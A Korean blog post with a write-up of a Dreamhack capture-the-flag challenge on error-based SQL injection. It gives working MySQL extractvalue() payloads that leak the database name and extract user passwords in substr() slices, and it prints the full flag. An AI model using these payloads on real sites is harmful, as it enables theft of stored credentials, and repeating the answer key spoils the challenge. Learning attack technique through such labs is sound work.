본문 바로가기

카테고리 없음

dreamhack error based sql injection

728x90

 

 

 

dreamhack error based sql injection

 

[문제 정보]

Simple Error Based SQL Injection !

 

 

 

접속 화면

문제 접속 화면이다.

입력칸에 쓰는 문자가 저 맨뒤에 '{ }' 안에 출력된다.

 

문제 파일에 첨부되어있는 소스코드이다.

 

 

 

sql 인젝션이 되는지 확인하기 위해 아래 코드를 입력해보았다.

1' and extractvalue(0x0a,concat(0x0a,concat(0x0a,(select database()))));--

에러값을 통해 users라는 데이터베이스명을 얻을 수 있었다.

 

0번 행의 upw값을 알고 싶으니 아래 코드를 입력해준다.

1' and extractvalue(0x3a,concat(0x3a,(SELECT concat(uid,0x3a,upw) FROM user LIMIT 0,1)));--

그 결과 오류문으로 플래그가 출력되는 걸 볼 수 있었다. 근데 플래그 값이 길어서 잘린다.

DH{c3968c7884075016877...'")

 

1' and extractvalue(0x3a,concat(0x3a,(SELECT substr(upw,20,25) FROM user LIMIT 0,1)));--

뒷 부분을 출력해줄 방법으로 이전 sql injection에 사용한 substr()을 이용했다. upw의 20번째 문자열부터 25개의 문자열을 추출시켜주었다.

':8774ad951fc98bf788563c4d}'")

 

이어주면

DH{c3968c78840750168774ad951fc98bf788563c4d}

 

 

 

짠 성공

 

https://dreamhack.io/wargame/challenges/412

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io

 

728x90